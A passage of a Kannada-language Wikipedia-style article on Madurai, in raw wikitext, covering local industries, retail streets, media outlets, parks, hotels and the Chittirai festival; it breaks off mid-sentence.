ಲಿಮಿಟೆಡ್‌, ಮಧುರಾ ಕೋಟ್ಸ್‌‌ Pvt. Ltd, ಪ್ಯಾರಾಮೌಂಟ್‌ ಮಿಲ್ಸ್‌ (P) Ltd,ವೀವ್ಸ್‌‌ ಇಂಡಿಯಾ (P) Ltd, ಫಸ್ಟ್‌‌ ಗಾರ್ಮೆಂಟ್‌ ಮ್ಯಾನುಫ್ಯಾಕ್ಚರಿಂಗ್‌ ಕಂಪೆನಿ (ಭಾರತ) Pvt Ltd, ವೈಗೈ ಸಮೂಹ (ರಾಸಾಯನಿಕಗಳು, ಖಾದ್ಯ ತೈಲಗಳು, ವಸ್ತ್ರೋದ್ಯಮ, ನಿರ್ಮಾಣ), ಅಲಯ ಧೋತೀಸ್‌, ಸಾರಥಿ ಧೋತೀಸ್‌‌ ಮತ್ತು SLM ಇಂಟರ್‌ನ್ಯಾಷನಲ್‌. === ಗ್ರಾನೈಟ್‌ ಉದ್ಯಮ === ಈ ನಗರದಲ್ಲಿ ಕೆಲ ಗ್ರಾನೈಟ್‌ ಕೈಗಾರಿಕೆ ಕಂಪೆನಿಗಳಾದ PRP ಎಕ್ಸ್‌ಪೋರ್ಟ್ಸ್‌ (ಭಾರತದ ಅತಿದೊಡ್ಡ ಗ್ರಾನೈಟ್‌ ಸಂಸ್ಕರಣಕಾರರು ಹಾಗೂ ರಫ್ತುದಾರರುಗಳಲ್ಲಿ ಒಬ್ಬರು) ಮಧುರೈ ಆರ್ಕೆ ರಾಕ್‌, P.R.ಗ್ರಾನೈಟ್ಸ್‌‌, ಡ್ಯುನೈಟ್‌ರಾಕ್ಸ್‌ ಪ್ರೈವೇಟ್‌ ಲಿಮಿಟೆಡ್‌‌ (ಗ್ರಾನೈಟ್‌ ಗ್ಯಾಂಗ್‌ಸಾ ಚಪ್ಪಡಿಗಳು) ಮತ್ತು ಆರ್ಕೆ ಗ್ಲೆನ್‌ರಾಕ್‌ಗಳು ಕಾರ್ಯಾಚರಿಸುತ್ತಿವೆ. ಮೆಲೂರ್‌ನಲ್ಲಿ ಗ್ರಾನೈಟ್‌ ಕೈಗಾರಿಕೆಯನ್ನು ಹಾಗೂ ಮಧುರೈನಲ್ಲಿ ಹೊಳಪು/ಮೆರುಗುಕೊಡುವ/ಪಾಲಿಷಿಂಗ್‌ ಕಾರ್ಖಾನೆಗಳನ್ನು ಸ್ಥಾಪಿಸಲು ಪ್ರಸ್ತಾವಗಳನ್ನು ಸಲ್ಲಿಸಲಾಗಿದೆ. === ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್‌ ಉದ್ಯಮ === TVS ಇಂಟರ್‌ಕನೆಕ್ಟ್‌ ಸಿಸ್ಟಂಸ್‌ Ltd ಕಂಪೆನಿಯು ಕಡಿಮೆ ಸಾಮರ್ಥ್ಯದ/ಗಾತ್ರದ ಉಪಕರಣಗಳಾದ ಎಲೆಕ್ಟ್ರಾನಿಕ್‌ ಕನೆಕ್ಟರ್‌ಗಳು, RF (ರೇಡಿಯೋ ತರಂಗಾಂತರ) ಕನೆಕ್ಟರ್‌ಗಳು, ಕೇಬಲ್‌ ಅಸೆಂಬ್ಲಿಗಳು, ಫೈಬರ್‌ ಆಪ್ಟಿಕ್‌ ಉತ್ಪನ್ನಗಳು & ಮತ್ತಿತರ ದೂರಸಂಪರ್ಕ ಪರಿಕರಗಳು, ಗ್ರಾಹಕ ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್‌ ಮತ್ತು ವಾಹನ ತಯಾರಿಕಾ ಕೈಗಾರಿಕೆಗಳಿಗೆ ಬೇಕಾದ ಬಿಡಿಭಾಗಗಳನ್ನು ತಯಾರಿಸುವ ಕಂಪೆನಿಯಾಗಿದೆ. === ಚಿಲ್ಲರೆ/ಬಿಡಿ ಮಾರಾಟ === ಚಿಲ್ಲರೆ ಮಾರಾಟ ಉದ್ಯಮವು ನಗರದಲ್ಲಿ ಅಭಿವೃದ್ಧಿಗೊಳ್ಳುತ್ತಿದೆ.{{Citation needed|date=August 2009}} ಈ ಬೆಳವಣಿಗೆಯು ಪ್ರಸ್ತುತ ಸೂಪರ್‌ ಮಾರುಕಟ್ಟೆಗಳಾದ ರಿಲಯನ್ಸ್‌ ಸೂಪರ್‌, ಸ್ಪೆನ್ಸರ್ಸ್‌ ಡೈಲಿ, A.K. ಅಹಮದ್‌ Co., ಮತ್ತು ಮಿಲನ್‌-ಎಂ(ಮಿಲೇನಿಯಂ?) ಮಾಲ್‌<ref>{{cite web |url= http://www.hinduonnet.com/thehindu/mp/2007/12/29/stories/2007122950030100.htm |title= Rock, shop and drop through the year |accessdate= 2008-12-23 |archive-date= 2008-12-26 |archive-url= https://web.archive.org/web/20081226135017/http://www.hinduonnet.com/thehindu/mp/2007/12/29/stories/2007122950030100.htm |url-status= dead }}</ref>, Big Bazaar ಮತ್ತು ಮಧುರೈ ಸಿಟಿಸೆಂಟರ್‌ಗಳಂತಹಾ ನಿರ್ಮಾಣ ಹಂತದಲ್ಲಿರುವ ಮಾಲ್‌ಗಳನ್ನು ಗಮನಿಸಿದರೆ ಸ್ವಷ್ಟವಾಗುತ್ತದೆ. ನಗರದ ಪ್ರಾಚೀನ ರಚನೆಯೊಂದಿಗೆ ಹೊಂದಿಕೊಳ್ಳುವಂತೆ, ನಗರದಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಗಿರುವ ವಾಣಿಜ್ಯ ಸ್ಥಳಗಳು ಸಮೂಹವಾಗಿ ರೂಪಿತವಾಗಿವೆ, ಹಾಗೂ ಸಾಲಾದ ಅನೇಕ ಅಂಗಡಿಗಳು ಒಂದೇ ರೀತಿಯ ವಸ್ತುಗಳನ್ನು ಮಾರುತ್ತಿರುವುದನ್ನು ಮಧುರೈನಲ್ಲಿ ಮಾತ್ರ ಕಾಣಬಹುದು.ಈಸ್ಟ್‌ ಗೇಟ್‌/ಪೂರ್ವ ದ್ವಾರವು ಗೃಹಕೃತ್ಯದ ಸಾಮಾನುಗಳನ್ನು ಮಾರುವ ಅಂಗಡಿಗಳಾದ ಮಣಿಮಾರನ್‌ ಸ್ಟೋರ್ಸ್‌, P.S.ಗುಣಸೇ/ಶೇಖರನ್‌ ಮೆಟಲ್ಸ್‌ ಮತ್ತು ಅನಂತ ಅಂಗಡಿಯಂತಹಾ ಅಂಗಡಿಗಳಿಂದ ಸುತ್ತುವರೆದಿದೆ. ಪೂರ್ವ ಮಾಸಿ ಸ್ಟ್ರೀಟ್‌/ಬೀದಿಯು ಸಾವಿರಾರು ದಿನಸಿ ಅಂಗಡಿಗಳಿಂದ ತುಂಬಿದ್ದರೆ, ಪಶ್ಚಿಮ ಮಾಸಿ ಬೀದಿಯು ಎಲೆಕ್ಟ್ರಿಕಲ್‌ ಮತ್ತು ಕೊಳಾಯಿ/ನೀರು ಸರಬರಾಜು ಸಾಮಗ್ರಿಗಳ ಅಂಗಡಿಗಳಿದ್ದರೆ, ದಕ್ಷಿಣ ಮಾಸಿ ಬೀದಿಯಲ್ಲಿ ಉಡಿಗೆ-ತೊಡಿಗೆಗಳು ಮತ್ತು ವಸ್ತ್ರೋದ್ಯಮ ಉತ್ಪನ್ನಗಳಿರುತ್ತವೆ, ಸಾಮಾನು ಸಾಗಣೆ ಮತ್ತು ಹಣ್ಣುಹಂಪಲುಗಳ ಗೋದಾಮುಗಳು ಉತ್ತರ ಮಾಸಿ ಬೀದಿಯಲ್ಲಿವೆ, ಟೌನ್‌ ಹಾಲ್‌ ರಸ್ತೆಯಲ್ಲಿ ಎಲೆಕ್ಟ್ರಾನಿಕ್‌ ವಸ್ತುಗಳು ಮಾರಾಟವಾದರೆ, ವಾಹನಗಳ ಬಿಡಿಭಾಗಗಳೂ ಉತ್ತರ ವೇಲಿ ಬೀದಿಯಲ್ಲಿ ಸಿಗುತ್ತವೆ ಮತ್ತು ಮೊಬೈಲ್‌/ಸಂಚಾರಿ ದೂರವಾಣಿ ಮಳಿಗೆಗಳು ಕೃಷ್ಣ ರಾಯರ್‌ ಕರೆ ಕೆರೆ/ಕೊಳ/ಟ್ಯಾಂಕ್‌ ಬೀದಿಯಲ್ಲಿದ್ದರೆ, ನಾಯಕ್ಕಾರ್‌ ಹೊಸ ಬೀದಿಯಲ್ಲಿ ವೈದ್ಯಕೀಯ ಸಾಮಗ್ರಿಗಳು ದೊರಕುತ್ತವೆ, ಆಭರಣಗಳು ಗೋಲ್ಡ್‌/ಚಿನ್ನದ ಬಜಾರ್‌‌ ಬೀದಿಯಲ್ಲಿ ಲಭ್ಯವಿದ್ದರೆ, ಮುದ್ರಣ ಸಂಸ್ಥೆಗಳು ಮತ್ತು ಹೋಟೆಲ್‌ಗಳು ಪಶ್ಚಿಮ ಪೆರುಮಾಲ್‌ ಮೇಸ್ತ್ರಿ ಬೀದಿಯಲ್ಲಿರುತ್ತವೆ, ಪುಸ್ತಕಗಳು ಮತ್ತು ನೋಟ್‌ ಪುಸ್ತಕಗಳು ಹೊಸ ಮಂಡಪಂ ಬೀದಿಯಲ್ಲಿ ಸಿಗುತ್ತವೆ. ಅಲಂಕಾರಿಕ ವಸ್ತುಗಳು, ಬಳೆಗಳು, ಉಡುಗೊರೆ ವಸ್ತುಗಳು, ಚಿನ್ನ ಮತ್ತು ಆಭರಣಗಳು, ರಾಸಾಯನಿಕಗಳು ಮತ್ತು ವೈದ್ಯಕೀಯ ಸಾಮಗ್ರಿಗಳು etc. ಚಿಲ್ಲರೆ ಮಾರಾಟ ಮಾಡುವ ಪ್ರತ್ಯೇಕ ಅಗಲವಾದ ಬೀದಿಗಳೂ ಇವೆ. ಒಂದೇ ರಸ್ತೆಯಲ್ಲಿ ಒಂದೇ ರೀತಿಯ ವಸ್ತುಗಳನ್ನು ಮಾರಾಟ ಮಾಡುವಂತಹಾ ವ್ಯವಸ್ಥೆಯು ಇಡೀ ಭಾರತದಲ್ಲಿ ಕೇವಲ ಮಧುರೈನಲ್ಲಿ ಮಾತ್ರವೇ ಇದೆ.<br /> ಎಲ್ಲಾ ವರ್ಗದ ಜನರಿಗೂ ಆಗುವಂತಹಾ ಸಿನೆಮಾ/ಚಿತ್ರಮಂದಿರಗಳು ಅಥವಾ ಮಲ್ಟಿಪ್ಲೆಕ್ಸ್‌ಗಳು ನಗರದಲ್ಲಿವೆ. ತಮಿಳು ಚಿತ್ರಗಳಲ್ಲದೇ, ಕೆಲ ಹಿಂದಿ ಮತ್ತು ಆಂಗ್ಲ ಚಿತ್ರಗಳೂ ಸಹಾ ನಗರದಲ್ಲಿ ಪ್ರದರ್ಶಿಸಲ್ಪಡುತ್ತವೆ. ಬೈಪಾಸ್‌ ರಸ್ತೆಯಲ್ಲಿರುವ ಅಪರ್ಣಾ ಟವರ್ಸ್‌‌ ಮತ್ತು S.S.ಕಾಲೊನಿಯ ಖಾಜಿಯಾರ್‌ ಕಾಂಪ್ಲೆಕ್ಸ್‌ಗಳು ಚಿಲ್ಲರೆ ಮಾರಾಟ ವ್ಯವಹಾರದ ಮಧುರೈ ನಗರದಲ್ಲಿನ ಮಹತ್ವದ ಮಾರಾಟಕೇಂದ್ರಗಳಾಗಿವೆ. [http://www.maduraizone.in/yellow/index.php?file=print&amp;id=1427 ನಾಯ್ಡು ಹಾಲ್‌ (ನೈಹಾ)]{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}, ಪೊಥಿಸ್‌, ಮೆಗಾಮಾರ್ಟ್,ಬ್ರಿಟಿಷ್‌ ಬೇಕರಿ, ಕೆಫೆ ಕಾಫಿಡೇ, etc.ಗಳಂತಹಾ ಇತರೆ ವ್ಯಾಪಾರಕೇಂದ್ರಗಳಿವೆ. ಚಿನ್ನ, ವಜ್ರಗಳು, ಮತ್ತು ಪ್ಲಾಟಿನಂ ವ್ಯಾಪಾರಿಗಳಿಗೆ ಜ್ಯುವೆಲ್ಲರಿ ಬಜಾರ್‌ನಲ್ಲಿ ಚಿನ್ನಾಭರಣಗಳ ಅಂಗಡಿಗಳು ಹಾಗೂ ಥಂಗಾ ಮಾಲ್‌‌, ಅಲುಕ್ಕಾಸ್‌‌, ಜಾಯ್‌ ಅಲುಕ್ಕಾಸ್‌‌, ಭೀಮಾ ಅಂಡ್‌ ಲಲಿತಾ ಜ್ಯುವೆಲ್ಲರಿ ಮುಂತಾದ ಬೃಹತ್‌ ಪ್ರಮಾಣದ ವ್ಯವಹಾರ ನಡೆಸುವ ಮಳಿಗೆಗಳಿವೆ. == ಮಾಧ್ಯಮ == ನಗರವು ಅನೇಕ ರೇಡಿಯೋ ಕೇಂದ್ರಗಳಾದ [[ರೇಡಿಯೋ ಮಿರ್ಚಿ]], ಹೆಲೊ FM, [[ಸೂರ್ಯನ್‌ FM]]ಗಳ ಸೇವೆ ನೀಡುತ್ತದೆ ಮತ್ತು ನಗರವು ಎರಡು ಪ್ರಮುಖ ಆಂಗ್ಲ ದೈನಿಕಗಳಾದ [[ದ ಹಿಂದು]] ಮತ್ತು [[ದ ನ್ಯೂ ಇಂಡಿಯನ್‌ ಎಕ್ಸ್‌ಪ್ರೆಸ್‌]]ಗಳ ಸ್ಥಳೀಯ ಆವೃತ್ತಿ ಬಿಡುಗಡೆ ಮಾಡುತ್ತದೆ‌. ತಮಿಳು ಭಾಷೆಯ ಪ್ರಾತಃಕಾಲದ ದೈನಿಕಗಳೆಂದರೆ [[ದಿನಮಲಾರ್]], [[ದಿನತಂತಿ]], [[ದಿನಮಣಿ]] ಮತ್ತು [[ದಿನಕರನ್‌]]ಗಳನ್ನು ಸಹಾ ಹೊಂದಿದೆ. ಮಧುರೈನಲ್ಲಿ ಪ್ರಕಟಗೊಳ್ಳುವ ಸಂಜೆಯ ದೈನಿಕಗಳೆಂದರೆ [[ತಮಿಳ್‌ ಮುರಸು]], ಮಲೈ ಮುರಸು ಮತ್ತು [[ಮಲೈ ಮಲಾರ್]]‌. ಅಷ್ಟೇ ಅಲ್ಲದೇ [[ತಮಿಳುನಾಡಿ]]ನ ಪ್ರಖ್ಯಾತ ಕಿರುತೆರೆ ಜಾಲವಾದ [[Sun TV ಜಾಲ]]ವು, [[SUN TV]], K TV, [[Sun News]] etc., ವಾಹಿನಿಗಳೊಂದಿಗಿನ ತನ್ನ ಪ್ರಾಂತೀಯ ಕಛೇರಿಯನ್ನು, ಮಧುರೈನ ಉತ್ತಂಗುಡಿಯಲ್ಲಿ ಹೊಂದಿದೆ. ಅನೇಕ ಇತರೆ ವಾಹಿನಿಗಳಾದ, [[ವಿಜಯ್‌ TV]], ರಾಜ್‌ TV, [[ಜಯಾ TV]], [[SS ಮ್ಯೂಸಿಕ್‌]] etc.ಗಳು ವಾರ್ತೆಗಳ ಮತ್ತು ಇತರ ಕಾರ್ಯಕ್ರಮಗಳ ವೇಗದ ಪ್ರಸಾರ ನೀಡಲು ಸಾಧ್ಯವಾಗುವಂತೆ, ಮಧುರೈನಲ್ಲಿಯೇ ತಮ್ಮ ಕಛೇರಿಗಳನ್ನು ಹೊಂದಿವೆ. == ಮನರಂಜನೆ == ನಗರದಲ್ಲಿ ಕೆಳಕಂಡ ವಾರಾಂತ್ಯ ಮೋಜುತಾಣಗಳಿವೆ: [[ಚಿತ್ರ:Athisayam park madurai.jpg|thumb|right|ಅಥಿಸಾಯಂ ಜಲ ಕ್ರೀಡಾ ತಾಣ]] * [[ಅಥಿಸಾಯಂ]] ವಾಟರ್‌ ಥೀಮ್‌ ಪಾರ್ಕ್‌: ಈ ಮನರಂಜನಾ ಜಲಕ್ರೀಡಾ ತಾಣವು ಮಧುರೈನ ಹೊರವಲಯದಲ್ಲಿರುವ (ನಗರದಿಂದ 20&nbsp;km ದೂರದಲ್ಲಿದೆ) ಎಲ್ಲಾ ವಯೋಮಾನದ ಜನರನ್ನು ಆಕರ್ಷಿಸುತ್ತದೆ ಮತ್ತು ಮಧುರೈನಲ್ಲಿನ ಹಾಗೂ ಸುತ್ತಮುತ್ತಲಿನ ವಿವಿಧ ಪ್ರದೇಶಗಳ ಜನರು ಇಲ್ಲಿಗೆ ಬರುತ್ತಾರೆ. ಅನೇಕ ಉನ್ನತ ತಂತ್ರಜ್ಞಾನದ ಮನರಂಜನಾ ಆಟಗಳು ಪ್ರೇಕ್ಷಕರಿಗೆ/ಸಂದರ್ಶಕರಿಗೆ ಆಸಕ್ತಿದಾಯಕ ಅನುಭವಗಳನ್ನು ನೀಡುತ್ತವೆ. ಈ ತಾಣವನ್ನು ವೈಜ್ಞಾನಿಕವಾಗಿ ವಿನ್ಯಾಸಗೊಳಿಸಲಾಗಿದೆ ಮತ್ತು ಬೇಸಿಗೆಯ ಬೇಗೆಯಲ್ಲಿ ಸೂಕ್ತವಾದ ತಾಣವಾಗಿರುತ್ತದೆ. * ಇಕೋ ಪಾರ್ಕ್: ನಗರದ ಪೌರ ಸಂಸ್ಥೆ ಕಚೇರಿ ಕಟ್ಟಡದ ಬಳಿಯಿರುವ ಈ ಮನರಂಜನಾ ತಾಣವ ಬೆಳಕಿನ ವ್ಯವಸ್ಥೆ ಮತ್ತು ಕಾರಂಜಿ ವ್ಯವಸ್ಥೆಗಳು ಆಕರ್ಷಕವಾಗಿವೆ ಮತ್ತು ಆಪ್ಟಿಕ್‌ ಫೈಬರ್‌ ಮರಗಳನ್ನು ಬೆಳಗಿಸಿ ದೇದೀಪ್ಯಮಾನವಾಗಿಸುವುದು ಕಣ್ಣಿಗೆ ಆಹ್ಲಾದವನ್ನುಂಟು ಮಾಡುತ್ತದೆ. ಈ ತಾಣದಲ್ಲಿನ ಅತ್ಯಂತ ಚಿತ್ತಾಕರ್ಷಕ ವ್ಯವಸ್ಥೆ ಎಂದರೆ ಸಂಗೀತಕ್ಕೆ ತಕ್ಕಂತೆ ನರ್ತಿಸುವ ಸಂಗೀತ ಕಾರಂಜಿ. * ಹವಾ ವ್ಯಾಲಿ: ಮಧುರೈನ ಹೊರವಲಯದಲ್ಲಿರುವ ನಾಥಂ ರಸ್ತೆಯಲ್ಲಿ ಈ ತಾಣವಿದೆ. ಪರ್ವತಗಳ/ಬೆಟ್ಟಗಳ ಹಿನ್ನೆಲೆಯೊಂದಿಗೆ ಇದು ನೈಸರ್ಗಿಕ ಸೌಂದರ್ಯದ ಅನುಭೂತಿ ನೀಡುತ್ತದೆ. ಇದರಲ್ಲಿ ಭೋಜನಾಲಯ/ರೆಸ್ಟೋರೆಂಟ್‌ ಹಾಗೂ ಕಿರು ರೇಸ್‌ಕಾರ್‌ಗಳ ಆಟದ ವ್ಯವಸ್ಥೆ ಸಹಾ ಇದೆ. * ರಾಜಾಜಿ ಮಕ್ಕಳ ಪಾರ್ಕ್: [[ಚಿತ್ರ:31Madura Teppakulam.jpg|thumb|right|ಮಾರಿಯಮ್ಮನ್‌ ತೆಪ್ಪಕ್ಕುಲಂ (ದೇವಾಲಯದ ಕೊಳ)]] ಈ ತಾಣವು ಗಾಂಧಿ ವಸ್ತು ಸಂಗ್ರಹಾಲಯ ಮತ್ತು ತಮುಕ್ಕಮ್‌ ಮೈದಾನಗಳ ನಡುವೆ ಇದೆ. ಇದರಲ್ಲಿ ಮಕ್ಕಳು ಆಡುವಂತಹಾ ಅನೇಕ ಆಟಗಳಿವೆ ಹಾಗೂ ಕ್ರೀಡಾ ಸಾಧನಗಳಿವೆ, ಹಾಗೂ ಮೂಂಗಾ ಆರ್ಯ ಭವನ್‌ ಮತ್ತು ಇತರೆ ಇನ್ನಿತರ ಉಪಹಾರ ಗೃಹಗಳಿವೆ. ಇಷ್ಟೇ ಅಲ್ಲದೇ ಪಕ್ಷಿಗಳ ಸಂಗ್ರಹಾಲಯವೂ ಇದೆ ಮತ್ತು ಚಿತ್ತಾಕರ್ಷಕ ಬೆಳಕಿನ ಹಾಗೂ ಸಂಗೀತ ವ್ಯವಸ್ಥೆ ಸಹಾ ಇದೆ. ಈ ತಾಣವನ್ನು ಮಧುರೈ ಪೌರಸಂಸ್ಥೆಯು ತನ್ನ ವ್ಯಾಪ್ತಿಯಲ್ಲಿ ನಿರ್ವಹಿಸುತ್ತದೆ. * MGR ರೇಸ್‌ ಕೋರ್ಸ್‌ ಕ್ರೀಡಾಂಗಣ: ಇದೊಂದು ಅಥ್ಲೆಟಿಕ್‌ ಕ್ರೀಡಾಂಗಣವಾಗಿದ್ದು ಕೃತಕ ಪಥವೂ ಇದೆ. ಅನೇಕ ರಾಷ್ಟ್ರೀಯ ಕೂಟಗಳನ್ನು ಇಲ್ಲಿ ನಡೆಸಲಾಗುತ್ತದೆ ಹಾಗೂ ಅಂತರರಾಷ್ಟ್ರೀಯ ಕಬಡ್ಡಿ ಚಾಂಪಿಯನ್‌ಷಿಪ್‌ ಪಂದ್ಯಗಳನ್ನು ಇಲ್ಲಿ ನಡೆಸಲಾಗಿತ್ತು. * ಅರಸರಡಿ ಮೈದಾನ: ಇದು ನಗರದಲ್ಲಿರುವ ಏಕೈಕ ಕ್ರಿಕೆಟ್‌ ಕ್ರೀಡಾಂಗಣ. * ಥೆಪ್ಪಕುಲಂ: ನಗರದಲ್ಲಿ ಥೆಪ್ಪಕುಲಂ ಎಂದು ಕರೆಯಲಾಗುವ ವಂಡಿಯೂರು ಮಾರಿಯಮ್ಮನ್‌‌ ದೇಗುಲಕ್ಕೆ ಸೇರಿದ ಪವಿತ್ರ ದೈವಿಕ ಕೊಳವಿದೆ. ಇತ್ತೀಚೆಗೆ ಇದೊಂದು ಪಿಕ್‌ನಿಕ್‌ ಸ್ಥಳವಾಗಿ ಮಾರ್ಪಟ್ಟಿದೆ. ಇದರ ಮಧ್ಯದಲ್ಲಿ ಕಲ್ಲಿನಿಂದ ಕೃತಕ ದ್ವೀಪವೊಂದನ್ನು ನಿರ್ಮಿಸಲಾಗಿದೆ. ಈ ಕೊಳವನ್ನು ಸರಿಸುಮಾರು 1500 A.Dದ ಸಮಯದಲ್ಲಿ ಕಟ್ಟಲಾಗಿತ್ತು. == ಆತಿಥ್ಯ/ಅತಿಥಿ ಸತ್ಕಾರ == [[ಚಿತ್ರ:Taj Garden Retreat 3.jpg|thumb|right|ಗೇಟ್‌ವೇ ಹೋಟೆಲ್‌ (ತಾಜ್‌ ಗಾರ್ಡನ್‌ ರಿಟ್ರೀಟ್‌ )]] ಇತ್ತೀಚಿನ ವರ್ಷಗಳಲ್ಲಿ, ನಗರವು ಅತಿಥಿ ಸತ್ಕಾರ ಉದ್ಯಮದಲ್ಲಿ ಬೆಳವಣಿಗೆ ಕಾಣುತ್ತಲಿದೆ. ಐಷಾರಾಮಿ ಪಂಚತಾರಾ ಹೋಟೆಲ್‌ "ಹೆರಿಟೆನ್ಸ್‌ ಮಧುರೈ " <ref>{{cite web|url= http://www.heritancehotels.com/ |title= Heritance Hotels = 2009-01-11}}</ref><ref>{{cite web |url= http://www.dailymirror.lk/DM_BLOG/Sections/frmNewsDetailView.aspx?ARTID=34580 |title= Aitken Spence launches Heritance Madurai in India = 2008-12-28 |access-date= 2009-12-22 |archive-date= 2008-12-26 |archive-url= https://web.archive.org/web/20081226205128/http://www.dailymirror.lk/DM_BLOG/Sections/frmNewsDetailView.aspx?ARTID=34580 |url-status= dead }}</ref> ಭಾರತದ ಅತ್ಯುತ್ತಮ ಶ್ರೇಣಿಯ ಐಷಾರಾಮಿ ಹೋಟೆಲ್‌ಗಳಲ್ಲಿ ಒಂದು. ಇನ್ನಿತರ ಮೇಲ್‌ಮಟ್ಟದ ಹೋಟೆಲ್‌ಗಳೆಂದರೆ [http://www.royalcourtindia.com ರಾಯಲ್‌ ಕೋರ್ಟ್‌], [http://www.grthotels.com/Home.aspx?gclid=CP-m3tvY0ZgCFdST3wodIycQ1w ಹೋಟೆಲ್‌ GRT ರೀಜೆನ್ಸಿ] {{Webarchive|url=https://web.archive.org/web/20110711131729/http://www.grthotels.com/Home.aspx?gclid=CP-m3tvY0ZgCFdST3wodIycQ1w |date=2011-07-11 }}, ಗೇಟ್‌ವೇ ಹೋಟೆಲ್‌ (ತಾಜ್‌ ಗಾರ್ಡನ್‌ ರಿಟ್ರೀಟ್‌), ಹೋಟೆಲ್‌ ಜರ್ಮೇನಸ್‌‌, ನಾರ್ತ್‌ ಗೇಟ್‌‌, ಮಧುರೈ ರೆಸಿಡೆನ್ಸಿ, ಹೋಟೆಲ್‌ ಸಂಗಂ ಮತ್ತು ಹೋಟೆಲ್‌ ಫಾರ್ಚ್ಯೂನ್‌ ಪಾಂಡಿಯನ್‌. ದಕ್ಷಿಣ ಭಾರತದ,ಪಂಜಾಬಿ, ಮೊಘಲಾಯಿ ಸೇರಿದಂತೆ ಬಹುಪಾಲು ಭಾರತೀಯ ವೈವಿಧ್ಯಗಳು ಮತ್ತು ಐರೋಪ್ಯ, ಚೀನೀ ಆಹಾರಗಳು/ಖಾದ್ಯಗಳು ನಗರದ ಹೋಟೆಲ್‌/ರೆಸ್ಟೋರೆಂಟ್‌ಗಳಲ್ಲಿ<ref>{{cite web|url= http://www.tourism-of-india.com/hotels-in-tamil-nadu/madurai-hotels/ |title= Hotels in Madurai= 2009-01-09}}</ref><ref>{{cite web|url= http://www.madurai.com/eat.htm |title= Where to Eat in madurai = 2009-01-09}}</ref> ಲಭ್ಯವಿವೆ. ಮಧುರೈ ತನ್ನ ವೈವಿಧ್ಯತೆ ಹೊಂದಿರುವ ಚಟ್ನಿಗಳೊಂದಿಗೆ [[ಇಡ್ಲಿಗಳಿಗೆ]] ಪ್ರಸಿದ್ಧವಾಗಿದ್ದು, ಅವು ಬಹುತೇಕ ಎಲ್ಲಾ ರೆಸ್ಟೋರೆಂಟ್‌ಗಳಲ್ಲಿ ಲಭ್ಯವಿದೆ. ಪಶ್ಚಿಮ ಮಾಸಿ ಬೀದಿಯಲ್ಲಿರುವ ಮುರುಗನ್‌ ಇಂಡ್ಲಿ ಖಾನಾವಳಿ ಮತ್ತು ರೈಲು ನಿಲ್ದಾಣದ ಖಾನಾವಳಿಗಳು ತಮ್ಮ ಇಡ್ಲಿಗಳಿಗೆ [[ತಮಿಳುನಾಡಿನಾ]]ದ್ಯಂತ ಪ್ರಸಿದ್ಧವಾಗಿವೆ. == ಹಬ್ಬಗಳು/ಉತ್ಸವಗಳು/ಜಾತ್ರೆಗಳು == ಮಧುರೈ ಜನರು ಅನೇಕ ಉತ್ಸವಗಳನ್ನು/ಹಬ್ಬಗಳನ್ನು ಆಚರಿಸುತ್ತಾರೆ. ಕೆಲ ಪ್ರಮುಖ ಹಬ್ಬಗಳೆಂದರೆ, ದೇವಿ ಮೀನಾಕ್ಷಿ ತಿರುಕಲ್ಯಾಣಂ, ಚಿತ್ತಿರೈ ಉತ್ಸವ, ದೀಪಾವಳಿ/ದಿವಾಲಿ, ಪೊಂಗಲ್, ತೆಪ್ಪೋರ್ಚವಂ, ರಥೋತ್ಸವಗಳು etc.<ref name="madurai.nic.in">{{Cite web |url=http://madurai.nic.in/festivals.html |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2009-12-22 |archive-date=2011-07-21 |archive-url=https://web.archive.org/web/20110721172002/http://madurai.nic.in/festivals.html |url-status=dead }}</ref><ref name="madurai.nic.in"/><ref>http://www.templenet.com/Tamilnadu/Madurai/festival1.html</ref><ref>http://www.madurai.org.uk/culture/float-festival.html</ref><ref>{{Cite web |url=http://www.madurai-vacations.com/maduraifestivals.htm |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2009-12-22 |archive-date=2009-10-03 |archive-url=https://web.archive.org/web/20091003132320/http://madurai-vacations.com/maduraifestivals.htm |url-status=dead }}</ref> === ಮೀನಾಕ್ಷಿ ತಿರುಕಲ್ಯಾಣಂ &amp; ಚಿತ್ತಿರೈ ಉತ್ಸವ === ಚಿತ್ತಿರೈ (ಮೇಷ) ತಿಂಗಳಲ್ಲಿ ಆಚರಿಸುವ ವಾರ್ಷಿಕ ಬ್ರಹ್ಮೋತ್ಸವ ಅತ್ಯಂತ ಪ್ರಮುಖವಾದುದಲ್ಲದೇ, ಇದು ಮಧುರೈ ದೇಗುಲಕ್ಕೆ ಸಂಬಂಧಿಸಿದ ದಂತಕಥೆಗಳಾದ [http://www.templenet.com/Tamilnadu/Madurai/legend3.html ಮೀನಾಕ್ಷಿಯ ಪಟ್ಟಾಭಿಷೇಕ], ಅಲೌಕಿಕ ಮದುವೆ etcಗಳೊಂದಿಗೆ ಬೆಸೆದುಕೊಂಡಿದೆ. ಚಿತ್ತಿರೈ ಉತ್ಸವವು [http://www.templenet.com/Tamilnadu/df102.html ತಿರುಮಾಲಿರುಂಚೋಳೈ] ನ ವಾರ್ಷಿಕ ಉತ್ಸವದ ಸಮಯದಲ್ಲಿಯೇ ನಡೆಯುತ್ತದೆ. ಈ ದೈವಿಕ ಮದುವೆಯು [http://www.templenet.com/Tamilnadu/m002.html ತಿರುಪ್ಪರಾಂಕುನ್‌ರಾಂ] ನಿಂದ ಬರುವ ದೇವತೆಗಳ ಮೆರವಣಿಗೆಯನ್ನೂ ಒಳಗೊಂಡಿರುವುದರಿಂದ, ಆ ಸಮಯದಲ್ಲಿ ಮಧುರೈ ಹಾಗೂ ಸುತ್ತಮುತ್ತಲಿನ ಇಡೀ ಪ್ರದೇಶವು ವಿಶೇಷ ಆಚರಣೆಗಳ ಸ್ಥಳವಾಗಿ ಮಾರ್ಪಟ್ಟಿರುತ್ತದೆ. ಚಿತ್ತಿರೈ ತಿಂಗಳಿನ ಉಜ್ವಲ ಕಾಲದ 5ನೇ ದಿನದಂದು ಚಿತ್ತಿರೈ ಉತ್ಸವವು ಆರಂಭಗೊಳ್ಳುತ್ತದೆ. ಉತ್ಸವದ 8, 9 ಮತ್ತು 10ನೇ ದಿನಗಳಲ್ಲಿ ಪ್ರಮುಖ ಆಚರಣೆಗಳು 